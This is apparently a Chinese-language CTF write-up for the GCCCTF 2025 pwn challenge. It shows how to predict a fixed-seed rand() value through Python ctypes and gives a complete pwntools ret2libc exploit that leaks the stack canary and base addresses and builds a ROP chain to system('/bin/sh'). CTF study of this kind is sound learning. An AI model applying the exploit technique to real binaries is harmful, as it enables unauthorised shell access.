前言
简单地说,伪随机数校验就是代码中有生成随机数,并且生成的这个随机数带有种子,那么,我们就可以通过ctypes库,从而在python中运用c语言的srand()和rand()函数,从而通过检验
[GCCCTF 2025]辣卤客,我为你带来烩面啦!
保护什么就不说了,主要讲绕过部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax _DWORD nbytes[3]; // [rsp+4h] [rbp-12Ch] BYREF __int64 v6; // [rsp+10h] [rbp-120h] __int64 v7; // [rsp+18h] [rbp-118h] char buf[264]; // [rsp+20h] [rbp-110h] BYREF unsigned __int64 v9; // [rsp+128h] [rbp-8h] v9 = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(_bss_start, 0, 2, 0); puts("Can you guess my random number?\n"); puts("Input size: "); __isoc99_scanf("%d", nbytes); if ( nbytes[0] > 5 ) { puts("Size too large\n"); exit(0); } puts("Input random number: "); v3 = 255; if ( nbytes[0] <= 0xFFu ) v3 = nbytes[0]; read(0, buf, v3); if ( buf[nbytes[0] - 1] == 10 ) buf[nbytes[0] - 1] = 0; else buf[nbytes[0]] = 0; *(_QWORD *)&nbytes[1] = 0; v6 = strtol(buf, (char **)&nbytes[1], 10); srand(33550336u); v7 = rand(); if ( v6 != v7 ) { puts("Wrong random number, you are failed!\n"); exit(0); } gift(); vuln(); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import* from ctypes import cdll r=process("./flag")
context(arch='amd64', os='linux', log_level='debug') elf=ELF("./flag") libc_cdll=cdll.LoadLibrary("./libc.so.6") seed=33550336 libc_cdll.srand(seed) random=libc_cdll.rand() r.sendline(b"-1") r.sendline(f"{random}") r.interactive()
|
可以发现成功执行完gift函数并进入vuln函数
然后就是正常接收数据然后打ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* from ctypes import cdll libc_cdll=cdll.LoadLibrary("./libc.so.6") r=process("./flag")
context(arch='amd64', os='linux', log_level='debug') elf=ELF("./flag") libc=ELF("./libc.so.6") seed=33550336 libc_cdll.srand(seed) random=libc_cdll.rand() r.sendline(b"-1") r.sendline(f"{random}") r.recvuntil(b"Here are some gift for you!\n\n") canary=int(r.recv(18),16) print(hex(canary)) r.recvuntil(b"\n") base=int(r.recv(18),16) print(hex(base))
rsi=0x13c5+base rdi=0x13fe+base rdx=0x13c7+base vuln=0x1349+base puts_plt=elf.plt["puts"]+base puts_got=elf.got["puts"]+base payload=b'a'*(0x70-0x8)+p64(canary)+p64(0) payload+=p64(rdi)+p64(puts_got) payload+=p64(puts_plt)+p64(vuln) r.recvuntil("smashing happily!\n") r.sendline(payload) puts=u64(r.recv(6).ljust(8,b"\x00")) print(hex(puts)) libc_base=puts-libc.sym["puts"] system=libc_base+libc.sym["system"] binsh=libc_base+next(libc.search(b"/bin/sh\x00")) payload=b'a'*(0x70-0x8)+p64(canary)+p64(0) payload+=p64(0x000000000000101a+base)+p64(rdi)+p64(binsh)+p64(system) gdb.attach(r) r.sendline(payload) r.interactive()
|
本地打通了,但是远程环境nc不上,又浪费30金币~~